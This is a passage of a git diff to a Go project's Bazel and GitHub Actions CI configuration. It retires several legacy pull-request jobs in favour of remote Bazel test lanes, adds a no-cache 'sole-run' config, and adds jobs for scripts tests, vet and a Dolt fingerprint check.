mode 100755 scripts/ci/allowlisted-go-tests.sh create mode 100755 scripts/ci/go-test-vet.sh create mode 100755 scripts/ci/scripts-go-test.sh create mode 100644 scripts/pr_lanes_bazel_coverage_test.go create mode 100755 tools/bazel/run_allowlisted_go_tests.py diff --git a/.bazelrc b/.bazelrc index 487334891..65099b17f 100644 --- a/.bazelrc +++ b/.bazelrc @@ -271,6 +271,20 @@ build:js-wasm --platforms=@rules_go//go/toolchain:js_wasm build:js-wasm --use_target_platform_for_tests build:js-wasm --remote_download_outputs=toplevel +# D2 step 3: bazel.yml's bazel-test, bazel-pure and bazel-doltserver lanes +# add this in mode remote only, where (on same-repo PRs) they are the only +# pre-merge run of pr.yml's legacy PR Core, pure-Go/js-wasm, domain+uow and +# contract corpus jobs, which ran every test every time (`go test +# -count=1`) and never retried. Like the retired PR Risk tiers' configs: +# always execute (a cached PASS would stand in for a run), and no +# whole-invocation retry after a remote cache eviction ("Lost inputs"), +# whose exit code outranks a test failure, so a test that failed in the +# first attempt and passed in the retry would report green. Local and +# cache runs (forks, Dependabot; their legacy jobs still run) keep cached +# results. +test:sole-run --nocache_test_results +test:sole-run --experimental_remote_cache_eviction_retries=0 + # Read-only anonymous cache for fork PRs: rbe-west's rbe-cache endpoint serves # action-cache and CAS reads only (writes and Execute are refused by the farm) # and needs no credentials, so it is committed (scripts/bazel_policy_test.go diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 91711fa3a..ed84717f2 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -6,14 +6,18 @@ # # PRs and merge groups run it through pr.yml's `bazel` job (workflow_call), # in the same run as the legacy jobs it mirrors, which stay required too, -# except pr-risk.yml's embedded-Dolt, proxied-server and server-Dolt storage -# test jobs: while the committed BAZEL_RETIRES_LEGACY_EMBEDDED / -# BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS flag is "true", on a same-repo, -# non-Dependabot pull_request (whatever the mode), pr-risk.yml's -# bazel-coverage job stands them down and bazel-embedded, or bazel-proxied -# and bazel-server-storage, alone run the tier; pr.yml's ci-gate then -# requires those lanes to have run remotely and passed, so modes skip, local -# and cache are red there (scripts/pr_risk_bazel_coverage_test.go). +# except where their D2 flag retires them: while the committed +# BAZEL_RETIRES_LEGACY_EMBEDDED / BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS / +# BAZEL_RETIRES_LEGACY_PR_LANES flag is "true", on a same-repo, +# non-Dependabot pull_request (whatever the mode), the bazel-coverage job +# stands down pr-risk.yml's embedded-Dolt test jobs (bazel-embedded runs +# the tier), its proxied-server and server-Dolt storage test jobs +# (bazel-proxied, bazel-server-storage), or pr.yml's PR Core, +# build-artifacts, pure-Go/js-wasm, domain+uow and contract corpus jobs +# (bazel-test, bazel-pure, bazel-doltserver; their `bazel test`s then add +# --config=sole-run); pr.yml's ci-gate then requires those lanes to have run +# remotely and passed, so modes skip, local and cache are red there +# (scripts/pr_risk_bazel_coverage_test.go, pr_lanes_bazel_coverage_test.go). # This file has no pull_request or merge_group trigger of its own, so a PR # runs the lane once. Every lane reports its job.status as a workflow_call # output (named after the job) from an always() last step. pr.yml's ci-gate @@ -89,9 +93,9 @@ # clients. Maintainers decided (2026-09-28) that same-repo PRs keep remote # execution under this model. Still open: a beads-only RBE_INSTANCE. The farm # refuses client action-cache writes (only its workers write; rbe-west D2). -# Nothing downstream consumes artifacts built here yet; in pr.yml's run the -# bd artifact is bazel-ci-build-artifacts, so it cannot collide with the -# build-artifacts job's ci-build-artifacts. +# In pr.yml's run the bd artifact is bazel-ci-build-artifacts, so it cannot +# collide with the build-artifacts job's ci-build-artifacts; pr.yml's +# package gates consume it where build-artifacts stands down (D2 step 3). # # Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about # 2 GB (Bazel's content-addressable --repository_cache, re-hashed on every @@ -309,6 +313,14 @@ jobs: timeout-minutes: 100 outputs: result: ${{ steps.result.outputs.result }} + env: + # D2 step 3: on covered PRs (always mode remote) this lane is the only + # pre-merge run of pr.yml's legacy PR Core job, which ran every test + # every time and never retried: --config=sole-run then executes every + # test (no cached results) and fails on a remote cache eviction + # instead of re-running the whole invocation. Local and cache runs + # (forks, Dependabot: the legacy jobs still run) keep cached results. + BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.mode == 'remote' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). # checkout v7 refuses a fork head on pull_request_target unless opted @@ -380,7 +392,7 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... --config=ci \ + bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} \ --profile="$RUNNER_TEMP/bazel-profile.json" \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? @@ -389,10 +401,11 @@ jobs: exit "$rc" # pr.yml's build-artifacts job, built by Bazel: the same artifact name - # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt), so its - # consumers (PR Core, domain+uow, the package gates) can switch to it. - # None does yet. The script documents which binary and how it differs - # from `go build`'s. + # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt). Where + # build-artifacts stands down (D2 step 3), pr.yml's package gates take + # it; its other consumers (PR Core, domain+uow) stand down there too. + # The script documents which binary and how it differs from `go + # build`'s. - name: Package bd (ci-build-artifacts layout) id: bd-artifact if: ${{ always() && steps.test.outcome != 'skipped' }} @@ -543,6 +556,13 @@ jobs: result: ${{ steps.result.outputs.result }} env: PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' + # D2 step 3: on covered PRs (always mode remote) this lane is the only + # pre-merge run of pr.yml's legacy pure-Go and js/wasm job, which ran every test + # every time and never retried: --config=sole-run then executes every + # test (no cached results) and fails on a remote cache eviction + # instead of re-running the whole invocation. Local and cache runs + # (forks, Dependabot: the legacy jobs still run) keep cached results. + BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.mode == 'remote' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). # checkout v7 refuses a fork head on pull_request_target unless opted @@ -637,7 +657,7 @@ jobs: run: | set -euo pipefail bazel run --config=pure //cmd/bd:bd -- version - bazel test --config=pure \ + bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} \ //internal/storage/embeddeddolt:embeddeddolt_test \ //internal/tracker:tracker_test \ --test_sharding_strategy=disabled \ @@ -649,7 +669,7 @@ jobs: - name: Run pure-Go cmd/bd test subset (--config=pure) run: | set -euo pipefail - bazel test --config=pure //cmd/bd:bd_test \ + bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} //cmd/bd:bd_test \ --test_sharding_strategy=disabled \ "--test_arg=-test.run=$PURE_CMD_BD_TESTS" n="$(grep -c '&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index d0ce7f5c7..efc5ade93 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -24,6 +24,12 @@ env: # Step 2: the proxied-server and server-Dolt storage test jobs (Bazel # `proxied-server tier` and `server-Dolt storage tier`). BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" + # Step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same pr.yml + # run: PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and + # contract corpus (Bazel `test`, `pure-Go and js/wasm`, `dolt-server + # lane`). pr-risk.yml retires nothing for it; its copy only keeps the + # shared bazel-coverage job identical. + BAZEL_RETIRES_LEGACY_PR_LANES: "true" jobs: detect-ci-tier: @@ -71,8 +77,9 @@ jobs: # lanes run them instead: `embedded` (the test-embedded-* jobs; Bazel # `embedded Dolt tier`) and `dolt_server` (test-proxied-cmd and the # test-server-storage* jobs; Bazel `proxied-server tier` and `server-Dolt - # storage tier`). Each is true only with its committed BAZEL_RETIRES_LEGACY_* - # flag, on a same-repo (not fork) pull_request whose actor is not + # storage tier`), plus `pr_lanes`, which only pr.yml reads (its own PR + # Core, build-artifacts, pure-Go, domain+uow and contract corpus jobs). + # Each is true only with its committed BAZEL_RETIRES_LEGACY_* flag, on a same-repo (not fork) pull_request whose actor is not # Dependabot. pr.yml runs this same job (policy-tested identical) and its # gate goes red unless the lanes then ran remotely and passed, so neither # the kill switch (mode skip) nor a missing executor secret (mode cache) @@ -86,6 +93,7 @@ jobs: outputs: embedded: ${{ steps.decide.outputs.embedded }} dolt_server: ${{ steps.decide.outputs.dolt_server }} + pr_lanes: ${{ steps.decide.outputs.pr_lanes }} steps: # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS @@ -100,11 +108,12 @@ jobs: env: RETIRED_EMBEDDED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} RETIRED_DOLT_SERVER: ${{ env.BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS == 'true' }} + RETIRED_PR_LANES: ${{ env.BAZEL_RETIRES_LEGACY_PR_LANES == 'true' }} PULL_REQUEST: ${{ github.event_name == 'pull_request' }} FORK: ${{ github.event.pull_request.head.repo.fork == true }} DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} run: | - for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER PULL_REQUEST FORK DEPENDABOT; do + for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES PULL_REQUEST FORK DEPENDABOT; do case "${!v}" in true|false) ;; *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; @@ -122,11 +131,16 @@ jobs: if [ "$same_repo_pr" = true ] && [ "$RETIRED_DOLT_SERVER" = true ]; then dolt_server=true fi + pr_lanes=false + if [ "$same_repo_pr" = true ] && [ "$RETIRED_PR_LANES" = true ]; then + pr_lanes=true + fi { echo "embedded=$embedded" echo "dolt_server=$dolt_server" + echo "pr_lanes=$pr_lanes" } >> "$GITHUB_OUTPUT" - echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server** (pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER)" | tee -a "$GITHUB_STEP_SUMMARY" + echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" # End-to-end coverage for proxied-server CLI subcommands, sharded across the # CI matrix. Each sub-test drives the bd CLI subprocess against a real dolt diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 324d30a87..da5120ab3 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -27,12 +27,25 @@ env: # Step 2: the proxied-server and server-Dolt storage test jobs (Bazel # `proxied-server tier` and `server-Dolt storage tier`). BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" + # Step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same pr.yml + # run: PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and + # contract corpus (Bazel `test`, `pure-Go and js/wasm`, `dolt-server + # lane`). pr-risk.yml retires nothing for it; its copy only keeps the + # shared bazel-coverage job identical. + BAZEL_RETIRES_LEGACY_PR_LANES: "true" jobs: + # D2 step 3: stands down where bazel-coverage says pr_lanes (same-repo, + # non-Dependabot PRs while BAZEL_RETIRES_LEGACY_PR_LANES is "true"): its + # consumers then stand down too, or (the package gates) take bazel.yml's + # bazel-ci-build-artifacts, the same layout built by Bazel / + # test, which ci-gate then requires to have run remotely and passed. build-artifacts: name: Build Artifacts runs-on: ubuntu-latest + needs: bazel-coverage + if: needs.bazel-coverage.outputs.pr_lanes != 'true' steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 with: @@ -184,9 +197,16 @@ jobs: # process execution must fail explicitly, so this required leaf job compiles # the complete package test binary and executes that exact contract under # Node rather than allowing a missing platform implementation to recur. + # + # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's + # `pure-Go and js/wasm` lane (bazel-pure) runs the same boundaries, and + # check-release-target-cross-compilation still `go build`s ./... with + # CGO_ENABLED=0 on every PR. check-cmd-bd-puregeo-tests: name: Check pure-Go and js/wasm boundaries (CGO_ENABLED=0) runs-on: ubuntu-latest + needs: bazel-coverage + if: needs.bazel-coverage.outputs.pr_lanes != 'true' steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -737,7 +757,11 @@ jobs: package-mcp: name: Package Gate (MCP) runs-on: ubuntu-latest - needs: [detect-package-gates, build-artifacts] + # D2 step 3: where bazel-coverage says pr_lanes, build-artifacts stands + # down and this gate takes the Bazel-built bd (bazel-ci-build-artifacts, + # uploaded by the bazel call's `test` lane), so it waits for the call. + needs: [detect-package-gates, build-artifacts, bazel-coverage, bazel] + if: ${{ !cancelled() && needs.detect-package-gates.result == 'success' && needs.bazel-coverage.result == 'success' && (needs.bazel-coverage.outputs.pr_lanes == 'true' || needs.build-artifacts.result == 'success') }} steps: - name: Check applicability id: applicability @@ -747,6 +771,20 @@ jobs: echo "MCP package gate is not applicable: ${{ needs.detect-package-gates.outputs.reason }}" fi + # D2 step 3: where build-artifacts stood down, the bd comes from the + # bazel call's `test` lane, which runs only in mode remote; say so + # instead of failing on a missing artifact (ci-gate is red then too, + # BAZEL_PR_LANES_RETIRED). + - name: Check the Bazel-built bd exists + if: steps.applicability.outputs.run == 'true' && needs.bazel-coverage.outputs.pr_lanes == 'true' + env: + BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} + run: | + if [[ "$BAZEL_RBE_MODE" != "remote" ]]; then + echo "::error::Build Artifacts stood down for Bazel / test (BAZEL_RETIRES_LEGACY_PR_LANES), but the Bazel call ran in mode '${BAZEL_RBE_MODE:-none}', so no bd was built for this gate. See BAZEL_PR_LANES_RETIRED in CI Gate / Required." + exit 1 + fi + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 if: steps.applicability.outputs.run == 'true' @@ -764,7 +802,7 @@ jobs: if: steps.applicability.outputs.run == 'true' uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 with: - name: ci-build-artifacts + name: ${{ needs.bazel-coverage.outputs.pr_lanes == 'true' && 'bazel-ci-build-artifacts' || 'ci-build-artifacts' }} path: ci-build-artifacts - name: Verify build artifacts @@ -784,7 +822,11 @@ jobs: package-npm: name: Package Gate (npm) runs-on: ubuntu-latest - needs: [detect-package-gates, build-artifacts] + # D2 step 3: where bazel-coverage says pr_lanes, build-artifacts stands + # down and this gate takes the Bazel-built bd (bazel-ci-build-artifacts, + # uploaded by the bazel call's `test` lane), so it waits for the call. + needs: [detect-package-gates, build-artifacts, bazel-coverage, bazel] + if: ${{ !cancelled() && needs.detect-package-gates.result == 'success' && needs.bazel-coverage.result == 'success' && (needs.bazel-coverage.outputs.pr_lanes == 'true' || needs.build-artifacts.result == 'success') }} steps: - name: Check applicability id: applicability @@ -794,6 +836,20 @@ jobs: echo "npm package gate is not applicable: ${{ needs.detect-package-gates.outputs.reason }}" fi + # D2 step 3: where build-artifacts stood down, the bd comes from the + # bazel call's `test` lane, which runs only in mode remote; say so + # instead of failing on a missing artifact (ci-gate is red then too, + # BAZEL_PR_LANES_RETIRED). + - name: Check the Bazel-built bd exists + if: steps.applicability.outputs.run == 'true' && needs.bazel-coverage.outputs.pr_lanes == 'true' + env: + BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} + run: | + if [[ "$BAZEL_RBE_MODE" != "remote" ]]; then + echo "::error::Build Artifacts stood down for Bazel / test (BAZEL_RETIRES_LEGACY_PR_LANES), but the Bazel call ran in mode '${BAZEL_RBE_MODE:-none}', so no bd was built for this gate. See BAZEL_PR_LANES_RETIRED in CI Gate / Required." + exit 1 + fi + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 if: steps.applicability.outputs.run == 'true' @@ -807,7 +863,7 @@ jobs: if: steps.applicability.outputs.run == 'true' uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 with: - name: ci-build-artifacts + name: ${{ needs.bazel-coverage.outputs.pr_lanes == 'true' && 'bazel-ci-build-artifacts' || 'ci-build-artifacts' }} path: ci-build-artifacts - name: Verify build artifacts @@ -879,10 +935,15 @@ jobs: - name: Run PR policy wrapper run: make ci-pr-policy + # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / + # test (`bazel test //... --config=ci`, the same selection, checked by its + # equivalence step) runs it, and scripts-go-checks runs what Bazel does not + # (./scripts/... and the allowlisted tests under go test, go test's vet). pr-core-wrapper: name: PR Core (wrapper timing) runs-on: ubuntu-latest - needs: build-artifacts + needs: [build-artifacts, bazel-coverage] + if: needs.bazel-coverage.outputs.pr_lanes != 'true' steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -937,6 +998,67 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/race run: make ci-pr-core + # PR Core's duties the Bazel lanes do not take over (D2 step 3), on every + # PR whatever bazel-coverage says, in PR Core's environment (dolt, git and + # dolt identity, scripts/ci/lib/test-env.sh): + # - `go test ./scripts/...` with PR Core's flags: the repository policy + # tests, several of which check part or all of their rules under go test + # only (scripts/bazel_skip_allowlist_test.go keeps such parts there); + # - go test's own vet checks over ./... (rules_go's go_test runs none); + # - the Go tests `bazel test --config=ci` does not run or skips + # (tools/bazel/equivalence_allowlist.txt), each required to pass. + scripts-go-checks: + name: Go test (scripts), go vet and Bazel-skipped tests + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Go + id: setup-go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Restore Go module cache + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/go/pkg/mod + key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} + restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- + + - name: Restore race Go build cache + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ${{ runner.temp }}/go-cache/race + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} + restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- + + - name: Install Dolt + run: ./scripts/ci/install-dolt.sh + + - name: Configure Git and Dolt identity + run: | + git config --global user.name "CI Bot" + git config --global user.email "ci@beads.test" + dolt config --global --add user.name "CI Bot" + dolt config --global --add user.email "ci@beads.test" + + - name: Go test the scripts packages + env: + BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION: '1' + GOCACHE: ${{ runner.temp }}/go-cache/race + run: bash scripts/ci/scripts-go-test.sh + + - name: Go vet with go test's checks + if: ${{ !cancelled() && steps.setup-go.outcome == 'success' }} + run: bash scripts/ci/go-test-vet.sh + + - name: Run the Go tests the Bazel lane skips + if: ${{ !cancelled() && steps.setup-go.outcome == 'success' }} + run: bash scripts/ci/allowlisted-go-tests.sh + pr-lint-wrapper: name: PR Lint (wrapper timing) runs-on: ubuntu-latest @@ -1029,10 +1151,16 @@ jobs: # Dolt sql-server image cached locally (testcontainers checks `docker image # inspect` and skips otherwise). Pulling the image up front guarantees the # suite actually runs and surfaces failures here with a clear job name. + # + # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's + # `dolt-server lane` runs the same packages against a local dolt + # sql-server, which test-dolt-server-fingerprint (every PR) keeps equal to + # the container this job uses. test-domain-uow: name: Test (storage domain + uow) runs-on: ubuntu-latest - needs: build-artifacts + needs: [build-artifacts, bazel-coverage] + if: needs.bazel-coverage.outputs.pr_lanes != 'true' # The race-enabled storage package has outgrown Go's implicit 10-minute # timeout. Keep both per-package deadlines inside one finite job budget. timeout-minutes: 30 @@ -1076,15 +1204,6 @@ jobs: sha256sum -c SHA256SUMS chmod +x bd-linux-gms-pure - # The only lane with both the image and the pinned dolt CLI: compares - # the container and the local test server backend against the one - # checked-in fingerprint, so an image bump cannot drift the container - # side unnoticed. REQUIRE makes the container half fail, not skip. - - name: Test Dolt server fingerprint (container + local) - env: - BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" - run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ - - name: Test domain + uow + tracker env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure @@ -1110,6 +1229,48 @@ jobs: TESTCONTAINERS_RYUK_DISABLED: "true" run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ + # Compares the Dolt sql-server container image the container-backed tests + # use and the local test server backend (the pinned dolt CLI, what every + # Bazel dolt-server lane starts) against the one checked-in fingerprint, + # so an image bump cannot drift the container side unnoticed. REQUIRE + # makes the container half fail, not skip. Every PR, whatever bazel-coverage + # says: it was test-domain-uow's first step, and the Bazel lanes that + # replace that job (D2 step 3) have no docker. + test-dolt-server-fingerprint: + name: Test (Dolt server fingerprint) + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Install Dolt CLI + run: ./scripts/ci/install-dolt.sh + + - name: Verify dolt on PATH + run: dolt version + + - name: Configure Git and Dolt identity + run: | + git config --global user.name "CI Bot" + git config --global user.email "ci@beads.test" + dolt config --global --add user.name "CI Bot" + dolt config --global --add user.email "ci@beads.test" + + - name: Pull Dolt sql-server image + # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. + run: ./scripts/ci/pull-dolt-image.sh + + - name: Test Dolt server fingerprint (container + local) + env: + BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" + run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ + # macOS-only regressions were landing on main undetected: main.yml's Test # (macos-latest) leg only runs `if: github.event_name == 'push' && # github.ref == 'refs/heads/main'`, so no PR ever exercises it. On @@ -1213,9 +1374,14 @@ jobs: # ~10 min: each test builds an isolated Dolt-backed workspace. If that ever # becomes unacceptable on PRs, shard this job by an exhaustive `go test # -list` partition — do not reintroduce a hand-written -run regex. + # + # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's + # `dolt-server lane` runs the package (//cmd/bd/protocol:protocol_dolt_test). contract-corpus: name: Contract corpus (golden + determinism + conformance) runs-on: ubuntu-latest + needs: bazel-coverage + if: needs.bazel-coverage.outputs.pr_lanes != 'true' steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1787,22 +1953,25 @@ jobs: # The Bazel lane (bazel.yml), gated alongside the legacy jobs it mirrors # (PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and # contract corpus, and pr-risk.yml's embedded-Dolt, proxied-server and - # server-Dolt storage tiers), all of which stay required, except that - # pr-risk.yml's embedded-Dolt test jobs (D2 step 1) and its proxied-server - # and server-Dolt storage test jobs (D2 step 2) stand down on same-repo PRs - # with a non-Dependabot actor while BAZEL_RETIRES_LEGACY_EMBEDDED / - # BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS is "true" (its bazel-coverage - # job), and ci-gate then requires this call's embedded, or proxied and - # server-storage, lanes to have run remotely and passed. bazel.yml has no - # pull_request/merge_group trigger of its own: - # this call is its only PR run. It gets the four RBE secrets and nothing - # else; its rbe job decides remote, cache (forks, Dependabot: local - # execution with the anonymous read-only cache, no remote-only lanes) or - # skip, and exports that for ci-gate. Its bazel-integration lane + # server-Dolt storage tiers), all of which stay required ids, but stand + # down on same-repo PRs with a non-Dependabot actor while their D2 flag + # is "true" (bazel-coverage): pr-risk.yml's embedded-Dolt test jobs + # (BAZEL_RETIRES_LEGACY_EMBEDDED, step 1), its proxied-server and + # server-Dolt storage test jobs (BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS, + # step 2), and this workflow's PR Core, build-artifacts, pure-Go/js-wasm, + # domain+uow and contract corpus jobs (BAZEL_RETIRES_LEGACY_PR_LANES, + # step 3). ci-gate then requires this call's lanes for them (embedded; + # proxied and server-storage; test, pure and doltserver) to have run + # remotely and passed. bazel.yml has no pull_request/merge_group trigger + # of its own: this call is its only PR run. It gets the four RBE secrets + # and nothing else; its rbe job decides remote, cache (forks, Dependabot: + # local execution with the anonymous read-only cache, no remote-only + # lanes) or skip, and exports that for ci-gate. Its bazel-integration lane # (main.yml's integration jobs, which run only on push to main) is on and # required here, remote only: same-repo PRs run it, fork and Dependabot PRs - # (mode cache) skip it. Its bd artifact is renamed so it cannot collide - # with build-artifacts' upload. + # (mode cache) skip it. Its bd artifact is renamed + # (bazel-ci-build-artifacts) so it cannot collide with build-artifacts' + # upload; the package gates take it where build-artifacts stands down. bazel: name: Bazel permissions: @@ -1819,8 +1988,10 @@ jobs: # D2: pr-risk.yml's bazel-coverage job, verbatim (policy-tested # identical). Where it says a tier is covered, PR Risk skips that tier's - # legacy test jobs, so ci-gate requires the tier's Bazel lanes to have run - # remotely and passed in this run. + # legacy test jobs (embedded, dolt_server), or this workflow skips its own + # (pr_lanes: build-artifacts, PR Core, the pure-Go/js-wasm check, + # domain+uow and contract corpus), so ci-gate requires the tier's Bazel + # lanes to have run remotely and passed in this run. bazel-coverage: name: Bazel tier coverage runs-on: ubuntu-latest @@ -1828,6 +1999,7 @@ jobs: outputs: embedded: ${{ steps.decide.outputs.embedded }} dolt_server: ${{ steps.decide.outputs.dolt_server }} + pr_lanes: ${{ steps.decide.outputs.pr_lanes }} steps: # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS @@ -1842,11 +2014,12 @@ jobs: env: RETIRED_EMBEDDED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} RETIRED_DOLT_SERVER: ${{ env.BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS == 'true' }} + RETIRED_PR_LANES: ${{ env.BAZEL_RETIRES_LEGACY_PR_LANES == 'true' }} PULL_REQUEST: ${{ github.event_name == 'pull_request' }} FORK: ${{ github.event.pull_request.head.repo.fork == true }} DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} run: | - for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER PULL_REQUEST FORK DEPENDABOT; do + for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES PULL_REQUEST FORK DEPENDABOT; do case "${!v}" in true|false) ;; *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; @@ -1864,11 +2037,16 @@ jobs: if [ "$same_repo_pr" = true ] && [ "$RETIRED_DOLT_SERVER" = true ]; then dolt_server=true fi + pr_lanes=false + if [ "$same_repo_pr" = true ] && [ "$RETIRED_PR_LANES" = true ]; then + pr_lanes=true + fi { echo "embedded=$embedded" echo "dolt_server=$dolt_server" + echo "pr_lanes=$pr_lanes" } >> "$GITHUB_OUTPUT" - echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server** (pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER)" | tee -a "$GITHUB_STEP_SUMMARY" + echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: 